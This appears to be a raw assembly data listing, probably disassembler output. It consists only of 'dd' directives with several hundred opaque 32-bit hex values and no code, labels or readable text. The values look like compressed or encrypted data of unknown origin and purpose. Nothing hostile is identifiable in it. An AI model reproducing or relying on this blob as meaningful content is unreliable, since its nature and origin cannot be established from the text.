dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h, 552609B9h
dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h
dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh
dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h
dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh, 7060770Fh
dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh
dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh
dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h, 1EB7E261h
dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh, 0DA727E62h
dd 51A76875h, 2C64D66Fh
dd 1E2BA2A3h, 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h
dd 33FD4702h, 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h
dd 4163467Dh, 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h
dd 0EA00DF96h, 10060h, 5DD40000h, 5E2D0000h, 668E35EFh
dd 0E40E3FBBh, 44EA3F57h, 11871C17h, 0DC184796h, 0C10CB36Ah
dd 3B6DD31h, 0DB239077h, 959E2F25h, 0A4BEE744h, 0D4CCC24Eh
dd 0DEC58532h, 6995AD75h, 5ABE3DC1h, 0BA615DF8h, 0A3467F8Ah
dd 0B86BFC11h, 17CE8232h, 0BD1454A5h, 563B27E6h, 1A39697Ah
dd 1184ACA5h, 52F78D14h, 3901F1E1h, 7D99238Bh, 0F456E365h
dd 0B71617E8h, 0D66C9F00h, 0A007F64h, 188B3724h, 0EA04EC26h
dd 4FF14238h, 22CA95C1h, 0B12CEDFCh, 1F93C73Dh, 0B08549FCh
dd 90FB603Eh, 3D226CAAh, 4FDF6444h, 0EF0AB420h, 0E46A5432h
dd 0E22366CCh, 0EFC5A397h, 9EF4278Ah, 8EBC94AFh, 5B191BB8h
dd 0A0482AB3h, 0CE400D88h, 0EC0F391Fh, 0A223E0FEh, 5FA1C25Bh
dd 0F592DD0Eh, 0EA084F3Ah, 72EDB7Fh, 0C98600DFh, 28178131h
dd 0DC712A28h, 9A6E8ADCh, 79D7DF64h, 0AF3C9F7Ch, 0EBB5ABCEh
dd 5DAF15D8h, 824B24A8h, 1B8A3360h, 408522B3h, 66462BC4h
dd 9170A526h, 8CB8C3B5h, 870C43DBh, 0E102A5FEh, 0A1F3D000h
dd 0F9D2189Eh, 4D82230Bh, 8055F507h, 8F53A0E1h, 4C567C29h
dd 819154B3h, 0D3D95857h, 737A7021h, 0A4636BEBh, 8FB29146h
dd 0BB41E312h, 1BA31043h, 49954563h, 456C6E9Fh, 3FFC5481h
dd 3AFA1AC5h, 0E4899F3Ah, 0B0241D0Dh, 157C206Eh, 0B1F34D2Ah
dd 2E1F78E9h, 900EA42Ch, 424C8854h, 0C9E9017h, 0A30C8ACCh
dd 0C73835F8h, 366E4554h, 2312CEB0h, 14000F0Eh, 467DD068h
dd 5CA050EDh, 0A153ADD8h, 0D828602Bh, 0BA89C408h, 15750842h
dd 40700BBEh, 8062E7BBh, 675634A9h, 0D87B11D8h, 134F6324h
dd 815F54ABh, 0D5C5C5CDh, 0EC0093F7h, 0DB98E45Dh, 0CD0506F2h
dd 1B217FDEh, 0EDA6F6C5h, 8FEC5556h, 2CAF334Bh, 0E04CD0C0h
dd 0D11F60F3h, 3BE4F9A2h, 78432FB0h, 3DA6DAC4h, 51B1BCE3h
dd 0D71CD3DEh, 442F206Bh, 0C39F6C48h, 0D9FB237h, 33B74401h
dd 8A271F3Dh, 3F219F78h, 1CB3A375h, 1159B8C9h, 3FBB011Dh
dd 4EAC2064h, 0B0DD2739h, 0D0201EA7h, 0F4BF6767h, 61F90F37h
dd 608707A9h, 9BF2DBD9h, 68B0FE4Ch, 0E815F9Bh, 65A4A919h
dd 5675BA5Eh, 0E82034CDh, 1255A7FDh, 79972413h, 7173F3F9h
dd 0FA9B761h, 0D61F2E9Dh, 95034B5Ah, 6B7DD9C1h, 5CCF39F3h
dd 7C6A535Eh, 0CAC36957h, 8C9C624Ch, 1BE06960h, 6786FCEBh
dd 0B6673419h, 0BE59B406h, 75C0989Dh, 758FD299h, 0E0697786h
dd 4F92AFCFh, 0CE7808F6h, 88C9FC87h, 9ED51698h, 919843EEh
dd 0EC87F97Bh, 34AC637Bh, 0EC727315h, 0C8167238h, 6FA8EB2Bh
dd 0A9788677h, 0B1945B46h, 7D17C0FDh, 73EFA0C3h, 0ECF14E7Eh
dd 325A7838h, 0FBC87BE3h, 0ABFEDAB3h, 0ECE25B76h, 0FD90FCADh
dd 0D5C0821h, 59B5B1C6h, 0B9AC2EE9h, 2F340B32h, 7CF543FAh
dd 4B87A96Fh, 4BA42EB7h, 173789BDh, 0CAF7172Ch, 0AFD82C4Fh
dd 8409B833h, 9EE9CFEBh, 6E388FF7h, 405D4776h, 0CD08FC8Bh
dd 13E7BE3h, 1376F197h, 290087FDh, 4138BE7Dh, 1A3530CFh
dd 3EA94B56h, 6394AE69h, 0A35088CCh, 444500D4h, 0CA11BF5Ah
dd 0F0B5285Eh, 28EC2E53h, 0FB39DD99h, 869CA236h, 0B8A90B58h
dd 0CA92AABBh, 38BB37A1h, 0C7C356AAh, 0CD1816EEh, 0DEFC1048h
dd 9E8CE0CDh, 0B319580Ch, 3E2E9362h, 0BC320F84h, 7473EEDAh
dd 863BC7E5h, 1AC81C0Fh, 0A95BA031h, 72FC9FE9h, 0F9E613F6h
dd 4AE1BC19h, 13F27B8Bh, 16B409F4h, 0A49189ADh, 0D76E298Ah
dd 0C6E02B07h, 63ECAC2h, 7C517B0Ah, 7C0762F5h, 0A8DCB98Dh
dd 15DD523Dh, 833B9409h, 9EC16AF8h, 36AA57CCh, 3F1600CEh
dd 23FD0513h, 0FB397952h, 94198454h, 1F96E9B5h, 2E380BC0h
dd 0E5BC70DBh, 0F5956D36h, 0EC37B3E2h, 0A18C979Bh, 29BFB49Fh
dd 0D5853F54h, 4E88D85h, 7D8C34F5h, 7B3CDC44h, 83DEC8DDh
dd 7079FE45h, 778FEBC9h, 54868CCFh, 44AD70C6h, 0D545783Dh
dd 0CB7A060Ah, 0B31176BFh, 5E50D1C4h, 0BF92354Bh, 0A6289B7Ch
dd 2957965Dh, 6098C4FFh, 616DAA65h, 984703EEh, 66A46F50h
dd 0CD1066B7h, 0A557F8CCh, 0E1A34BF4h, 6C9CCE91h, 0B6D50CDFh
dd 1EB08215h, 7D07F9Fh, 0FC52264Bh, 0C8E53E31h, 5983FB92h
dd 96BD303Ch, 56EF539Ah, 0FF4317E4h, 0CC556836h, 0A195AC4Ch
dd 634C0351h, 45C58378h, 9E31996Eh, 300349F0h, 0DC734E03h
dd 0D4B5881Ah, 85901443h, 85F805A3h, 462B739h, 99CBFF51h
dd 49C277E8h, 0AEE5ED74h, 127129C9h, 5D5732D4h, 1BA5E2D0h
dd 0BF7BA840h, 42E37900h, 6CFC3130h, 1CACE789h, 0E6EB974Fh
dd 0E21B1D65h, 4AF80C56h, 0B7A0E352h, 0CF6C2AC3h, 0F9F81E51h
dd 0AD6229ECh, 42FCD69Ch, 2D361E9Fh, 4F5CC869h, 0A80AB62h
dd 0FD415C87h, 0CEF19656h, 0DA488BDAh, 0F0AD3F49h, 0BEAF9DFDh
dd 7739B0D1h, 13C47ECCh, 127CB1BDh, 179E1023h, 41BF665Fh
dd 6F528F92h, 4D39FDD6h, 1E212EACh, 33E45B75h, 0B05E52C5h
dd 248027C5h, 0CCFB1311h, 80769F3Eh, 4C455861h, 2552C88Bh
dd 467A2FF9h, 848E8CD6h, 6E7AF647h, 43FA35AEh, 54133575h
dd 0E596E96Fh, 4341F480h, 0E27FA60h, 0EB6260B8h, 95B02067h
dd 0C46FCFDBh, 0BCA6B224h, 22C00814h, 77466313h, 0D6CFDF93h
dd 0F3DB52F9h, 0CA52C78Eh, 0B03B95F9h, 161D5030h, 1D5F45B3h
dd 0DB096BA8h, 37D4E6DCh, 2D688EA1h, 3E53D257h, 0A43AC55Dh
dd 1FDF1B76h, 864F8EB7h, 42955261h, 6E7791F2h, 0AC3C10A3h
dd 0EAD643BDh, 0C332E2ABh, 4F3F39D3h, 98AE12D9h, 6A712AC5h
dd 50550EEFh, 144DFA89h, 0D4F8BD17h, 9A5C35FCh, 85A6A8D9h
dd 528512D0h, 7C6397F1h, 788746F2h, 7721DB95h, 7C16B74Eh
dd 421A21ADh, 8833980Ch, 0CF4CDA64h, 0C3A6FCA2h, 3654D170h
dd 8C4B7649h, 0CA602BAAh, 34E36195h, 0C850C267h, 9889FA51h
dd 19B8C497h, 0ABDC48B6h, 38DD0E9Eh, 0CD80534Fh, 0AA018EA9h
dd 0A3F1AD33h, 58BE0548h, 0D38271AAh, 5B5E4239h, 13568065h
dd 6C531B00h, 84CD7854h, 0ACC03C30h, 10CF16B7h, 0B2213E03h
dd 5376DC1Dh, 0F7C384B4h, 0B5E22ED3h, 781216D3h, 54E07187h
dd 112AFCADh, 0DA0D100Bh, 1325E3EDh, 288D40DBh, 5A40D7FFh
dd 68666FCEh, 7D6B5EC9h, 0C0CE2D5Dh, 630151ECh, 270BEEABh
dd 880BDA4Bh, 0F83963BDh, 5782B2Ah, 9D1FA196h, 0B63F7EABh
dd 51BAF1E1h, 28F6B8F2h, 392A5AACh, 841D622Fh, 0B71514AFh
dd 932F7870h, 0D027A8D3h, 0FD8C6C45h, 0F322B7E4h, 0B4F6946Dh
dd 81525C1Dh, 0B1F26621h, 80B27A2Fh, 12C2E241h, 3A57291Fh
dd 0E1F93FE7h, 26DC4CA1h, 0D6D678A1h, 0E693CD32h, 0A3C8D5Ch
dd 7D408CEDh, 28CFCB0Fh, 336D44C7h, 0C4D17D7Ch, 3F77CB50h
dd 864D31Ch, 4278A1D3h, 6D222698h, 3609D985h, 6AA23A4Ch
dd 0EA2F4A91h, 2B9A3073h, 0F3CF8931h, 44D107C5h, 0B3BBE4C3h
dd 0FD78F5B9h, 0BC4B2B3Fh, 5A28864Eh, 60E1D77Ch, 6D4B4A2Dh
dd 1721A486h, 0C8C361E7h, 0CFC2BDC6h, 0DF23F12h, 3D373800h
dd 0A0B54D99h, 4073913Fh, 0DA1D465Ch, 8F357CDh, 0A8F31EF2h
dd 20CE3D67h, 0A2EFC3EEh, 78C553D2h, 0DC2CBF89h, 61D8B7A7h
dd 22D30B75h, 0DA632728h, 4C318AFFh, 4CC9D894h, 3560E97Ch
dd 7C7192A6h, 90ACFC90h
dd 0FF668959h, 174010FAh, 8DC946Ah, 0FC83AE9Eh, 0E6377A17h
dd 1B0FDF8Bh, 8E4AF1E9h, 66D1625h, 6C30656h, 6041F9C4h
dd 84CFA0A7h, 0E6AB4C95h, 51AD441Ah, 0B73F9DA9h, 0BF4BC536h
dd 9A7933B6h, 0FD6AD0A3h, 0E8CCEEBFh, 1E0CB274h, 5E893203h
dd 0F390C5C6h, 8EBD839Dh, 0E321FEFCh, 7EAA7A40h, 6D6D1148h
dd 0F6490CCAh, 7FDE5D5Eh, 0A70CA21Dh, 5A22A0CDh, 335E0D78h
dd 7BC58765h, 542D5C66h, 39F03A75h, 7B90D681h, 0E1DC1A0Bh
dd 863EDDD1h, 9C5A7ABh, 0DC490954h, 0C1D7062Fh, 4F59AE6Bh
dd 3CE07FD5h, 186E07AAh, 0FCE85805h, 28D13D55h, 0CC95215Bh
dd 828567C1h, 78CF5268h, 0E18D8C60h, 0B5CF5A2Ah, 0F3577896h
dd 4DDBFA99h, 0BC2E83FFh, 0D9A03048h, 5947206Eh, 6DBEAB99h
dd 1CFF2D56h, 43CE8B29h, 0CDC59A94h, 3D5F3BDEh, 0B816DC7Bh
dd 0A9BA5607h, 7551501Ah, 23F22335h, 0B9D0F7CAh, 3B4985Bh
dd 87B42C0Bh, 0C7BC2C69h, 5B5DA699h, 0EEFAD916h, 40E40F2Fh
dd 871AD2B8h, 84F451EDh, 1062EEAh, 0E6C04497h, 0C8D72615h
dd 99042868h, 20566E4Fh, 11FA040Ch, 0BAAEBCE4h, 599D4FB6h
dd 0DE40AEA5h, 0AC6BE60Fh, 5D54C9DDh, 0CBE0C8FFh, 0E5E62A14h
dd 0ABD681EFh, 48A29794h, 203328E8h, 99FE1D9Bh, 760322E5h
dd 0C3FAD77Ah, 2A33C84Ah, 61640F8Eh, 0CABBB8E2h, 5F084DF0h
dd 86EEF14h, 572525C1h, 427426AEh, 0FF362B43h, 9FDBE9DCh
dd 0D290DC7Dh, 0D5471328h, 3F564951h, 30BE195h, 7B252A5Ch
dd 6DC30B6Dh, 85BDEE48h, 61EAAA2Fh, 0E03AD6Ch, 13A32AA3h
dd 91BD4DE3h, 0D86AA606h, 6D3F4806h, 398AC4B9h, 32675194h
dd 0E20177ECh, 0F44D5921h, 489FC709h, 957F9767h, 4DE0EE3Dh
dd 1C76F8BAh, 0D8F6E056h, 3D7091A4h, 5B3D6A04h, 5D7C24C5h
dd 3C184FF2h, 0F730B61Fh, 0DC247F67h, 262D6289h, 0A46C3033h
dd 3F4ABDA9h, 0EEDA82B2h, 990CD180h, 78DDC63Ch, 87EC5FF1h
dd 5ABD8E8Eh, 428E95DDh, 8831018Ah, 9277110Bh, 8B66BE99h
dd 0EB8FB8EFh, 6D07DB33h, 0DF724C68h, 0CAE36EE5h, 0BE82AB04h
dd 2B5FA031h, 0DEA90A71h, 0FC20FB3Bh, 7873AAF5h, 0E65C168Ch
dd 0EFBFC8CCh, 0EAE144C8h, 0A6CDF45h, 0C2B0FBB2h, 13A8CE66h
dd 97A5E439h, 0BB14C5F1h, 0A83D78E2h, 3C11ED75h, 0D0B33B3Bh
dd 6F0509E9h, 0DE176B55h, 0AD31D720h, 6CA6F174h, 9B06C6C0h
dd 2F97C7E3h, 9133B597h, 0BDB8E7D8h, 76E42123h, 49C94BF9h
dd 63C04B5Dh, 361C3640h, 608D0891h, 0E3BB8FA4h, 0B0397C09h
dd 2A2EB322h, 740C7A72h, 0D23A7616h, 206654B5h, 9988D296h
dd 2AE858A3h, 622C2D7Bh, 0FB671E9Dh, 663E9C45h, 0BF3E5568h
dd 53F49FAh, 0C8CEF681h, 940B40A0h, 0F90D5369h, 7DFEAEC1h
dd 1E5A55BBh, 3D7AFB13h, 72A852F2h, 74378835h, 421791D1h
dd 0C514F24Bh, 841DC1B2h, 8DBD8D53h, 760588A3h, 3AF0C34Ch
dd 0E8BDD42Eh, 0DCF1E335h, 3E0CBF4Bh, 0D96DABD7h, 48793CF6h
dd 125EA61Ch, 0B83D62F0h, 0B8319147h, 0C785C505h, 589E7639h
dd 0C9AFA585h, 0ACE925CEh, 0C87BB543h, 0E0093275h, 6835BD59h
dd 0AA69A545h, 1F72FCCCh, 0A53BD5A5h, 1B597569h, 3E4EF5C0h
dd 9BCCF2E3h, 0AC48BA9Dh, 0ACD453D8h, 0EDDB4D36h, 0C94B9F8Ch
dd 5CFD13EDh, 96D07D71h, 2C1BB99Ah, 992BE914h, 0FB2BAA3Ah
dd 729DD012h, 0B8AD6B70h, 0A12C09C3h, 0BFDD2FACh, 0C5C3244Eh
dd 9D533547h, 0C254D47Ah, 5387C6BFh, 0A5F589BFh, 8312F4E2h
dd 0F1267CE1h, 0EC4C6C41h, 768A8960h, 0CFA9E9B2h, 6559CBA0h
dd 6314DDDBh, 403A161Fh, 0E86798C1h, 714AFBA8h, 6F622FA7h
dd 4998F0D4h, 0D7B70154h, 0BBEABB06h, 0D62D9F36h, 244AC3ECh
dd 0E8FB72F6h, 32750A37h, 4FFADE54h, 48384625h, 8F265CAFh
dd 985E2770h, 0E6FE7C70h, 64F150BEh, 0DF737C0Ch, 0FD8F8142h
dd 0CDE2057Eh, 0EDEED933h, 0C8E45673h, 84F022A7h, 0FC7BCDEFh
dd 8C666BDAh, 71FEFFFAh, 0DA5FD0F2h, 0CA60BFBCh, 889780F8h
dd 3A7EDDFAh, 2BD67223h, 3FD3F43Bh, 0A9AA2C19h, 1DFAA6F0h
dd 42BE8A52h, 956536F3h, 0E243A618h, 4A4B9709h, 271A4C79h
dd 92BFBA41h, 8AF8F8EFh, 1F75C3A3h, 44FF5DA9h, 0A58689A0h
dd 22D5E99Dh, 4F9C5263h, 484FEAE5h, 0D449143Bh, 371589A4h
dd 7BDBF671h, 1F503E3Ah, 6B7166A7h, 5A33FC90h, 66807783h
dd 0FBDACA36h, 9E85D921h, 56FF9EB3h, 6277C2DCh, 0A00BED47h
dd 84F04FD9h, 484BC208h, 0E66E83F7h, 0E6010E79h, 70C9F586h
dd 6768F0E4h, 0B715A422h, 5BCEE3D5h, 874A976h, 0CD9CF314h
dd 3C77CC49h, 70B4918Eh, 0B1195287h, 0B8CF7D7Bh, 68027357h
dd 0BC17B479h, 2BB0ECC3h, 2EE5345Dh, 77BBBC19h, 0D4978E07h
dd 0B410342Dh, 3C4F5AAEh, 80F2D269h, 85CA4DA7h, 4AC4F1C9h
dd 0CA383D3h, 0F62CBC00h, 90D226ADh, 5B361E78h, 73E935BDh
dd 65C9C146h, 64F3ABC6h, 120A35BDh, 3A3D0151h, 0DF79DA45h
dd 1725760Dh, 293C407Eh, 4C47B330h, 475C35AFh, 823A1728h
dd 0C4307716h, 0B5A1874h, 4E3E4C1Fh, 0EB4E6043h, 0BF162849h
dd 1E513753h, 2B47D83Ah, 9BC2BEBAh, 530274D3h, 4BE8E27Eh
dd 0FAC735A5h, 0FD7B5EABh, 5F11BF04h, 4E8E6CF6h, 0D6F86EABh
dd 0A603D76Bh, 6F073D20h, 76FA9C67h, 1209C221h, 0DFA1350h
dd 0E136914Dh, 8134520Dh, 8E09920h, 0D5ADD823h, 0D2545E4Bh
dd 2F2ABEA4h, 8BF972F4h, 6452A1ABh, 6AEA2EB8h, 3A529BA0h
dd 0F7D091Ch, 0E10FF9E7h, 8CDE0C4h, 0A32B8821h, 144AF9B5h
dd 0AA52BEBh, 0A1D535C8h, 26C2CBFEh, 8C65CA49h, 46F813EEh
dd 7E55F0BEh, 0B97BC292h, 1669267Ch, 1F77E47Dh, 0BBAF86F5h
dd 750795E7h, 7B3C2202h, 954E899h, 7790AA47h, 32C762DFh
dd 0CE9BC258h, 0E5FA3FDBh, 0E8D061F3h, 9D488F99h, 65B1E582h
dd 45643DCBh, 5F48C839h, 0AD272012h, 491F2962h, 0CFF7D310h
dd 0D517A188h, 25F0BE79h, 0A0F1F5A6h, 8BB948A5h, 0AFD052AFh
dd 210AE357h, 99611E87h, 582CE554h, 0C36F3BAFh, 800AF86Ch
dd 95248748h, 47EC2FC1h, 4A16FD1Dh, 0E4272869h, 0DFA3E229h
dd 0F8B9AE68h, 725F92CDh, 3CEA05A0h, 977EAFB9h, 97F8C68Eh
dd 0FA9B8C7Ah, 256C0A25h, 0A003AD8Fh, 4CF03400h, 25545C98h
dd 96CE532Ah, 0C5846E23h, 4953B3ECh, 4D6A715Eh, 57290F47h
dd 0B1384CAAh, 0ABA18648h, 2131EA0Ah, 8FAE9DE8h, 10749D02h
dd 6DE73A19h, 0EC175276h, 5DEB9D6Ah, 4EFBC746h, 0ABC127B0h
dd 588DB983h, 882E2944h, 24139466h, 8E12A375h, 0BB6511C5h
dd 51351344h, 0DEDB55D4h, 0FBFA8A96h, 418B6AD4h, 0D790F1A7h
dd 0F23F52D7h, 25E27AC7h, 78330FA9h, 5826C445h, 0B93E9C65h
dd 70DBD9EAh, 550675FAh, 8CB19D42h, 6818761Ch, 185CD826h
dd 0C4A915C5h, 0D9A166E8h, 0C6A559FEh, 264D0A2Ah, 0B3ACFBD6h
dd 1FD860BCh, 0C9E8D37Ah, 43EFD41h, 12C8525Fh, 1944B57Ch
dd 664753BAh, 9602F373h, 45F80B34h, 678FF9B0h, 2D9A050Eh
dd 579A85C8h, 4A63AF26h, 7D019712h, 0B330F312h, 732A9BC2h
dd 17781176h, 0A8658449h, 8F4A302Ch, 0FF54BFCAh, 9D52EB99h
dd 8CE0858Dh, 0C48F7155h, 0AE3BBF98h, 4F0441CFh, 0B985C8FAh
dd 4776DACAh, 64FB8F22h, 0D8284771h, 781A8389h, 649ADE63h
dd 0E2A5515Eh, 1D8EBEC9h, 4AAA8364h, 13C7505Fh, 0FBBF1F42h
dd 0E97D201Ch, 4701F932h, 4410BD66h, 0D605A9E1h, 48B94129h
dd 77612454h, 982B1205h
dd 0D71789A2h, 783D1D2Ch, 31E7FAA0h, 24817C51h, 4A979890h
dd 0BCE46F8Ch, 0FA77490h, 4BB5A794h, 524CF278h, 42D67695h
dd 6F48F003h, 2F37CD2h, 1EDFF3BAh, 14BE5C3Eh, 4328992Fh
dd 12DAA3C0h, 54ABDA35h, 0FB3BFE19h, 7E681607h, 0BA7EE046h
dd 0A2FAFB39h, 0C6F43A41h, 6697161Bh, 95AD33CBh, 58762F88h
dd 1AC83C6h, 810898BDh, 0E36FBE7Fh, 0D2C97C6Ah, 283F154Ah
dd 0D20231B1h, 99A8B1A6h, 0E1732742h, 67586288h, 304B6475h
dd 0A7833D05h, 1EC1103Ah, 0F8D98D22h, 24B77AC5h, 92C89E26h
dd 5F592830h, 739E9E3Dh, 0E962BE48h, 4EAC1C1Ch, 0DB1F0DC9h
dd 0BE14F3DEh, 390CCB6Ch, 3638C81Ah, 86AC5F1Dh, 8549BE0Bh
dd 0DDC72Eh, 0AD1437A6h, 0C66C548Ah, 10A996Bh, 41B9B3C2h
dd 4C18E9A2h, 757B5D3Ch, 0D8F07596h, 5C045D47h, 0EC34349Fh
dd 0ABAB6A9Dh, 734A22C2h, 0E88D9A68h, 0B730A35Fh, 1A6A20CCh
dd 196126A4h, 0E4451AFDh, 0E56312F8h, 343CB3C0h, 0DC5E78C0h
dd 0D00F3C3Fh, 0AE978965h, 0A86C24C5h, 0F72CF5E2h, 8C6546E6h
dd 0C59451F1h, 32466C4h, 22A29135h, 0FD467915h, 6F44E462h
dd 834D7C13h, 1271D791h, 2A4C476Ah, 20F90A5Ah, 0FD59E4CFh
dd 0A46668A9h, 0ADA988E7h, 0D3ECDF0Eh, 8E51EBA4h, 0CE8B84C5h
dd 756A449Dh, 675B7E23h, 3D334D3Ch, 5736B1F3h, 0A2542109h
dd 12750B2h, 0BCC40231h, 0E9661F1Fh, 90755950h, 1AD25799h
dd 6DAC7F3Ah, 1F978F2Dh, 0A0633912h, 8B3AE09h, 26E3735Ah
dd 7A481C6h, 9F71359Eh, 53BAB455h, 8A05AA22h, 0D5D0C3C1h
dd 5FB14B72h, 2783DC89h, 0B79DDB50h, 80427A3Dh, 7E5DA863h
dd 0ED4F820Ah, 90890639h, 9A72BFB3h, 0DD553FC2h, 0FBFDAAD7h
dd 23E7EEEh, 0F71D3D96h, 0FE19C952h, 0A66CEFC7h, 0E5CC108Fh
dd 19A11B1Bh, 6DBDC0C8h, 0D68D1D9Dh, 0CA5682C8h, 0F1E7D06Ch
dd 5A95C360h, 602863F4h, 234855E0h, 202429E5h, 0A75D6BF3h
dd 0A31350DBh, 0AA51F9B7h, 49AC5D33h, 7E3044B4h, 998129ACh
dd 16442E8h, 0E8EBC168h, 9F96FDA1h, 0DDC6B01Fh, 5A562F11h
dd 579C5C86h, 0B9C01D3h, 0FAD6339h, 688B9E6Dh, 27804BBCh
dd 3CFCAAD1h, 324A08AEh, 0FEBE3F5Eh, 3A7ED050h, 0A8EF63D4h
dd 0EF3D5E47h, 88E18070h, 3D6935Ah, 3A7E642Fh, 98487C8Dh
dd 3EEA7990h, 9213E0E8h, 890AB3B0h, 0CBAE3975h, 0BC34AF7Dh
dd 99459B46h, 0E8486D10h, 197DD70Ah, 0C99D74E7h, 143F4A4Bh
dd 27CE8E0Ah, 49913D11h, 3D0F6515h, 9BDB69F0h, 69CDB504h
dd 0A8C5AAF4h, 9A84604Ch, 7A65EF55h, 4686C8C2h, 0F5D41F9Dh
dd 785A9D8Fh, 9A431D93h, 7F25A9h, 0CED679B4h, 0B577BD9Ah
dd 0A99479DBh, 98F914DEh, 2EA36A1Ah, 92D37114h, 688449AEh
dd 9BEEC62Ah, 1573A45Dh, 0EFE8EEDDh, 9712FF30h, 4E45FF70h
dd 0D07D11A2h, 0D2FA6BE7h, 58EEADBBh, 0BB91DAC6h, 59E3E6E2h
dd 0D1C55575h, 0EC4FB8BDh, 4EC12A86h, 92CA7240h, 53B12DA1h
dd 0ECB0EE3Dh, 28D08C04h, 0AAF7D9BBh, 8B4A515h, 7FF2EFBAh
dd 0E1786C99h, 0D8BA705Fh, 0EC5E26A0h, 0CA7E516Ah, 339196CAh
dd 94A32D58h, 0DB700E80h, 0AD2E77C1h, 30F07A58h, 5FE490FDh
dd 5301489Dh, 88E7012Dh, 41EA18E7h, 139F3DD0h, 22304BCh
dd 0F98A3FCBh, 0DBEDEE38h, 0AEA3AE2h, 451DE3F6h, 0B4DB13B2h
dd 4EDE2FA3h, 7585504Ah, 38B2CD6Dh, 4D8A6F43h, 76B389FDh
dd 0C4DFB2B9h, 757F0498h, 853C3CCDh, 0CA3F2F1Eh, 389AF549h
dd 83ADD887h, 23A90E64h, 0A6C43D8Ah, 0AAA107FDh, 83683903h
dd 84E77B26h, 0AB663CAh, 59353551h, 8F0311BAh, 79D1CF8Fh
dd 7B2F2D31h, 1AEAAE04h, 0A4FC36DBh, 0AAE6F86Eh, 0E6AD292Eh
dd 4ABB2865h, 0EE3E0390h, 0BDCFFE16h, 4D6C2235h, 0B4A0D326h
dd 0C8143B6Ah, 1F0995AEh, 4550C996h, 20ECBA9Ah, 7851BD3Dh
dd 14ABBF8Eh, 5EEB85C1h, 82EAAD5Bh, 0D3D0248Dh, 0C34629B7h
dd 8AA12918h, 3D56DBCBh, 77270F43h, 0B77933DCh, 38C61B1h
dd 2EA65F24h, 8AADA38Bh, 43B24A7Fh, 61B93F7Dh, 8B78208Eh
dd 99441932h, 0B9AA4AFDh, 715A108Dh, 412CDCEBh, 0C5002D1Eh
dd 5C3731C6h, 3B949680h, 0C177B3B7h, 114FBAB5h, 0C20F2A16h
dd 2DC5E4C4h, 9F765F34h, 0D2E87CB6h, 0DA633F99h, 0F573057Dh
dd 852B117Eh, 0EA19A4ABh, 6121529Dh, 22A72B77h, 0A8DC365h
dd 78B51701h, 151EDD24h, 0BE029C92h, 0EC59F0E3h, 656196Ah
dd 52E12086h, 654562CEh, 0A91FF500h, 43B458A6h, 0EBD6BAEh
dd 0D347E7EFh, 2EA09E36h, 2B52F46Fh, 0ADEB7137h, 0C49F1142h
dd 73D04131h, 80B2C507h, 5E2000F1h, 16E5242Fh, 57B7A5BDh
dd 3698FC29h, 54AAEA68h, 4BC4976h, 0A7925258h, 406D8D7Bh
dd 3A9A877Fh, 0D7F32A06h, 24BA4258h, 0E307CC6Ah, 0F669918Fh
dd 0BB3276D8h, 0DA8347D8h, 0E56A6877h, 6048F0E1h, 5D29AE38h
dd 0DDCD19EDh, 0EA65D7B5h, 72A4573Eh, 117473A2h, 16A06299h
dd 44E79AB6h, 0CF7C92E2h, 4DEDEEDh, 4C3457Ch, 0B020994h
dd 757DF406h, 1B3E592Ah, 0F5D27CEh, 7C90C6C1h, 9EF63ECDh
dd 16F3E245h, 0C7F649E1h, 0FC27A4BDh, 9E6D38F5h, 0E0342BF9h
dd 76813612h, 0B57CAB95h, 8D853549h, 81A441ACh, 835F02E4h
dd 3F7E3B8Bh, 0E5A53B92h, 89429820h, 9115A508h, 3B9A051Bh
dd 0DBD45B06h, 5258553Ah, 0C268C22Dh, 82849286h, 0E73C8E09h
dd 271B0848h, 0A815E606h, 4F256B59h, 49235884h, 167A5794h
dd 577108F4h, 2DA44C8Fh, 0D445D37Fh, 0DB38A7D1h, 0BBD58BC7h
dd 0F36E3A6Eh, 0BAD40852h, 788A0DE6h, 4658803Ch, 7B49CA30h
dd 8BE4C224h, 188EA358h, 993ED2B0h, 0A9EC85B7h, 85752F02h
dd 60750B42h, 8280A148h, 3B2A7A5Fh, 0C3A99A94h, 65DC473Ah
dd 24F18F96h, 4F399A25h, 4E7044D1h, 94CA098h, 5F4E4FF5h
dd 0A58A4DCBh, 7BF2812Fh, 0D8CD0627h, 739BF619h, 1A957C3Ah
dd 0C87C9D51h, 1B6EF9Ch, 3300386Eh, 0C91BF1BCh, 14E83A31h
dd 4F39A3ADh, 44BC8270h, 1EE8EA1Eh, 0C3347977h, 186908AAh
dd 2C6841A0h, 519FF088h, 0BAF05533h, 0E41D1FC9h, 0F7F44128h
dd 230DA21Eh, 0D311A280h, 0BCF86851h, 0F09A2657h, 39E9912Eh
dd 75827E22h, 0F66F42D5h, 80179B29h, 62EBFE64h, 0D0CF118Fh
dd 4DB094EBh, 4CB9A883h, 7276FA56h, 0D72B8302h, 4EC6C82Ch
dd 0C4BB8D5Bh, 8FC92F82h, 6C1DD749h, 0D2063A3Dh, 37243AE4h
dd 974DE2A9h, 9545AB40h, 42726774h, 0BF02DDEBh, 3DFABE2Eh
dd 6E0FEA88h, 0BFD69B6Fh, 0CC06C6A3h, 6E5485F6h, 1ABD986h
dd 0D8F27351h, 0C44E09D0h, 0A88219BDh, 0DA5DBC72h, 9A814E13h
dd 0A13A83D1h, 0C464B02Fh, 0C01CF65Ch, 0E1AE5643h, 0A8BB9A38h
dd 7A596902h, 525654FDh, 0CD4DF080h, 18CCD673h, 0D944B084h
dd 7DAEAF8Fh, 68BD8680h, 470F2853h, 0DBFACE6h, 2D61508Eh
dd 8B3BDED3h, 0B64A8AD7h, 46627E6Ah, 2DBC6936h, 0ED9BD1Dh
dd 4B847D3Fh, 8B4FB295h, 69EF8867h, 9CABC55Ch, 4C7BEAB8h
